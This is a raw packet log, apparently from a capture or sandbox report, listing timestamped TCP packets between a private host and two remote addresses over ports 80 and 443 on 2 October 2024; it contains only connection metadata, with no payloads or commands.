Oct 2, 2024 17:17:19.064445972 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064456940 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064467907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064470053 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064485073 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064503908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064645052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064656973 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064666033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064675093 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064683914 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064687014 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064698935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064708948 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064709902 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064723015 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064733028 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064743042 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064743996 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064743996 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064759970 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064768076 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064770937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064781904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064791918 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064794064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064805031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064811945 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064817905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064827919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064829111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064840078 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064851046 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064857006 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064862013 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064872980 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064882040 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064882040 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064893961 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064893961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064908028 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064919949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064919949 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064944983 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064961910 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065135956 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065146923 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065157890 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065167904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065171003 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065180063 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065188885 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065190077 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065201998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065212011 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065217018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065223932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065232992 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065259933 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065260887 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065272093 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065284967 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065313101 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065331936 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065342903 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065351963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065352917 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065363884 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065365076 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065382957 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065407038 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065506935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065516949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065527916 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065537930 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065537930 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065551043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065553904 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065570116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065581083 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065581083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065593958 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065604925 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065604925 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065614939 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065629005 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065633059 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065639019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065655947 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065671921 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065686941 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065697908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065736055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065751076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065762043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065772057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065784931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065784931 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065814018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065860033 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065912962 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065923929 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065934896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065944910 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065949917 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065957069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065967083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065973997 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.065978050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065989017 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.065999031 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066000938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066020012 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066035986 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066211939 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066221952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066231966 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066241980 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066252947 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066256046 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066263914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066276073 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066281080 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066287994 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066299915 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066309929 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066318035 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066322088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066333055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066343069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066350937 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066354990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066365957 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066376925 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066378117 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066386938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066397905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066402912 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066409111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066421986 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.066431999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.066448927 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067097902 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067125082 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067136049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067146063 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067166090 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067218065 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067228079 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067239046 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067250013 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067255020 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067282915 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067363024 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067373991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067394018 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067404032 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067404032 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067415953 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067420959 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067428112 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067437887 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067450047 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067460060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067464113 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067477942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067480087 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067488909 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067498922 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067502022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067513943 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067528009 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067532063 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067540884 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067552090 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067559958 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.067562103 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067578077 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.067600965 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.068576097 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068586111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068598032 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068636894 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.068650961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068658113 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.068662882 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068674088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068685055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068686962 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.068706036 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.068732023 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.068738937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068749905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068758965 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068769932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068772078 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.068780899 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.068794012 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.068813086 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069107056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069145918 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069206953 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069216967 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069227934 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069236994 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069237947 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069252014 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069253922 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069263935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069274902 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069278955 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069315910 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069331884 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069343090 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069354057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069365025 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069374084 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069375992 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069400072 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069422960 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069495916 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069506884 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069516897 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069526911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069530010 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069539070 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069545984 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069550037 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069561958 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069583893 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069596052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069607019 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069607019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069629908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069643974 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069761992 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069772959 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069783926 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069793940 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069803953 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069804907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069816113 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069825888 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069835901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069837093 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069849968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069873095 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069873095 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069895029 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069895983 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069907904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069917917 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069927931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069930077 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069938898 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069942951 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069952011 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069962025 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069962978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069974899 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069984913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.069989920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.069998980 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070017099 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070028067 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070031881 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070039034 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070050001 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070061922 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070069075 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070085049 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070108891 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070190907 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070202112 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070211887 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070221901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070231915 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070231915 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070242882 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070252895 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070260048 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070264101 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070276022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070283890 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070287943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070300102 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070308924 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070311069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070322990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070333958 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070348978 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070455074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070466042 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070475101 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070486069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070494890 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070497990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070509911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070521116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070524931 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070533991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.070540905 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.070568085 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.113208055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.118230104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.317317963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.317401886 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.378597975 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.385687113 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.580579996 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.580689907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:20.043800116 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.043941975 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.060029984 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.060053110 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.060436010 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.062293053 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.107393980 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.303145885 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:20.308366060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:20.501604080 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:20.501857996 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:20.881351948 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.881376982 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.881397963 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.881519079 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.881519079 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.881531000 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.882344961 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.885636091 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.885653973 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.885792017 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.885799885 CEST	443	65277	104.102.49.254	192.168.2.6
